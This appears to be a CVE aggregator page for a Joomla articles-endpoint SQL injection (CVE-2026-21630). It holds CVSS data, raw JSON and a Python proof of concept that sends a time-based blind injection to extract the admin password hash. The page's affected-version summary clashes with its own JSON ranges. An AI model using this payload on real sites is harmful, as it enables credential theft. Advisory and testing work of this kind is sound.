Security Vulnerability Report
中文
CVE-2026-21630 CVSS 8.8 HIGH

CVE-2026-21630

Published: 2026-04-01 10:16:16
Last Modified: 2026-04-09 19:59:32

Description

Improperly built order clauses lead to a SQL injection vulnerability in the articles webservice endpoint.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:joomla:joomla\!:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:joomla:joomla\!:*:*:*:*:*:*:*:* - VULNERABLE
Joomla Core 4.x
Joomla Core 5.x

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Exploit Title: Joomla Core 2026-21630 SQL Injection PoC # Date: 2026-04-01 # Vulnerable Endpoint: /api/index.php/v1/articles target_url = "http://target-site.com/api/index.php/v1/articles" # Attacker needs a valid low-privilege token (PR:L) auth_token = "Bearer LOW_PRIVILEGE_TOKEN_HERE" headers = { "Authorization": auth_token, "Content-Type": "application/json" } # Malicious payload for order clause # Using conditional sleep to verify injection payload = { "filter": { "search": "" }, "list": { # The injection happens in the ordering parameter "ordering": "(SELECT CASE WHEN (SELECT SUBSTRING((SELECT password FROM #__users WHERE id=1),1,1))='a' THEN SLEEP(5) ELSE 1 END)" } } try: response = requests.post(target_url, json=payload, headers=headers, timeout=10) if response.elapsed.total_seconds() >= 5: print("[+] SQL Injection successful! Response delayed.") else: print("[-] Injection failed or condition not met.") except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21630", "sourceIdentifier": "[email protected]", "published": "2026-04-01T10:16:15.943", "lastModified": "2026-04-09T19:59:31.593", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improperly built order clauses lead to a SQL injection vulnerability in the articles webservice endpoint."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:joomla:joomla\\!:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.0.0", "versionEndExcluding": "5.4.4", "matchCriteriaId": "E21AF5F0-76B9-4F00-9055-A9F2A170253C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:joomla:joomla\\!:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0.0", "versionEndExcluding": "6.0.4", "matchCriteriaId": "B61EE37B-A751-48E2-BDBE-6A6EC5499798"}]}]}], "references": [{"url": "https://developer.joomla.org/security-centre/1028-20260302-core-sql-injection-in-com-content-articles-webservice-endpoint.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}